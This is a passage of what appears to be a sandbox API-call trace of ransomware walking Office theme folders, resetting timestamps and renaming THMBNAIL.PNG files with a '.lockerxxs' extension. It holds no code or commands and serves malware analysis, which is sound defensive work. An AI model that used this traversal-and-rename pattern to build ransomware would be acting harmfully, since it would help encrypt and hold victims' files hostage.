lpString2="EXPEDITN.ELM" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM" [0059.291] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", pszSpec="*.ems") returned 0 [0059.291] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x255, dwReserved0=0x0, dwReserved1=0x4f8518, cFileName="EXPEDITN.INF", cAlternateFileName="")) returned 1 [0059.291] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.291] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x2e0053, dwReserved1=0x780074, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.291] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.291] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xed34, dwReserved0=0x2e0053, dwReserved1=0x780074, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.291] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.295] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0059.295] CloseHandle (hObject=0x90) returned 1 [0059.295] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.lockerxxs")) returned 1 [0059.298] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xed34, dwReserved0=0x2e0053, dwReserved1=0x780074, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.298] FindClose (in: hFindFile=0x4f81f0 | out: hFindFile=0x4f81f0) returned 1 [0059.298] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8230, dwReserved1=0x3, cFileName="ICE", cAlternateFileName="")) returned 1 [0059.298] lstrcmpA (lpString1=".", lpString2="ICE") returned -1 [0059.298] lstrcmpA (lpString1="..", lpString2="ICE") returned -1 [0059.298] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x4f8158, cFileName=".", cAlternateFileName="")) returned 0x4f81e0 [0059.302] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.302] FindNextFileA (in: hFindFile=0x4f81e0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.302] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.302] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.302] FindNextFileA (in: hFindFile=0x4f81e0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35ee600, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35ee600, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x109d0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ICE.ELM", cAlternateFileName="")) returned 1 [0059.302] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.304] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.304] CloseHandle (hObject=0x90) returned 1 [0059.304] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\", lpString2="ICE.ELM" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM" [0059.304] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", pszSpec="*.ems") returned 0 [0059.304] FindNextFileA (in: hFindFile=0x4f81e0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1ad, dwReserved0=0x0, dwReserved1=0x4f8500, cFileName="ICE.INF", cAlternateFileName="")) returned 1 [0059.304] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.304] FindNextFileA (in: hFindFile=0x4f81e0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.304] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.304] FindNextFileA (in: hFindFile=0x4f81e0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4981, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.304] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.306] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0059.306] CloseHandle (hObject=0x90) returned 1 [0059.306] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.lockerxxs")) returned 1 [0059.309] FindNextFileA (in: hFindFile=0x4f81e0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4981, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.309] FindClose (in: hFindFile=0x4f81e0 | out: hFindFile=0x4f81e0) returned 1 [0059.309] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8220, dwReserved1=0x3, cFileName="INDUST", cAlternateFileName="")) returned 1 [0059.309] lstrcmpA (lpString1=".", lpString2="INDUST") returned -1 [0059.309] lstrcmpA (lpString1="..", lpString2="INDUST") returned -1 [0059.309] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x4f8158, cFileName=".", cAlternateFileName="")) returned 0x4f81e8 [0059.310] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.310] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.310] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.310] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.310] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4901300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x539538d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4901300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x184e9, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="INDUST.ELM", cAlternateFileName="")) returned 1 [0059.310] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.312] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.312] CloseHandle (hObject=0x90) returned 1 [0059.312] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\", lpString2="INDUST.ELM" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM" [0059.312] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", pszSpec="*.ems") returned 0 [0059.312] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x4f8508, cFileName="INDUST.INF", cAlternateFileName="")) returned 1 [0059.312] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.312] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x143b, dwReserved0=0x780074, dwReserved1=0x74, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.312] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.312] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8317, dwReserved0=0x780074, dwReserved1=0x74, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.312] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.315] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0059.315] CloseHandle (hObject=0x90) returned 1 [0059.316] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.lockerxxs")) returned 1 [0059.318] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8317, dwReserved0=0x780074, dwReserved1=0x74, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.318] FindClose (in: hFindFile=0x4f81e8 | out: hFindFile=0x4f81e8) returned 1 [0059.318] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8228, dwReserved1=0x3, cFileName="IRIS", cAlternateFileName="")) returned 1 [0059.318] lstrcmpA (lpString1=".", lpString2="IRIS") returned -1 [0059.318] lstrcmpA (lpString1="..", lpString2="IRIS") returned -1 [0059.318] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x4f8158, cFileName=".", cAlternateFileName="")) returned 0x4f81e8 [0059.318] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.318] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.318] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.318] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.318] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f26d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f26d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1015d, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="IRIS.ELM", cAlternateFileName="")) returned 1 [0059.318] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.319] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.320] CloseHandle (hObject=0x90) returned 1 [0059.320] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\", lpString2="IRIS.ELM" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM" [0059.320] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", pszSpec="*.ems") returned 0 [0059.320] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x4f8508, cFileName="IRIS.INF", cAlternateFileName="")) returned 1 [0059.320] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.320] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9ac, dwReserved0=0x74, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.320] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.320] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c1d, dwReserved0=0x74, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.320] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.322] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0059.322] CloseHandle (hObject=0x90) returned 1 [0059.322] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.lockerxxs")) returned 1 [0059.324] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c1d, dwReserved0=0x74, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.324] FindClose (in: hFindFile=0x4f81e8 | out: hFindFile=0x4f81e8) returned 1 [0059.324] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8228, dwReserved1=0x3, cFileName="JOURNAL", cAlternateFileName="")) returned 1 [0059.324] lstrcmpA (lpString1=".", lpString2="JOURNAL") returned -1 [0059.324] lstrcmpA (lpString1="..", lpString2="JOURNAL") returned -1 [0059.324] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x4f8158, cFileName=".", cAlternateFileName="")) returned 0x4f81e8 [0059.325] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.325] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, 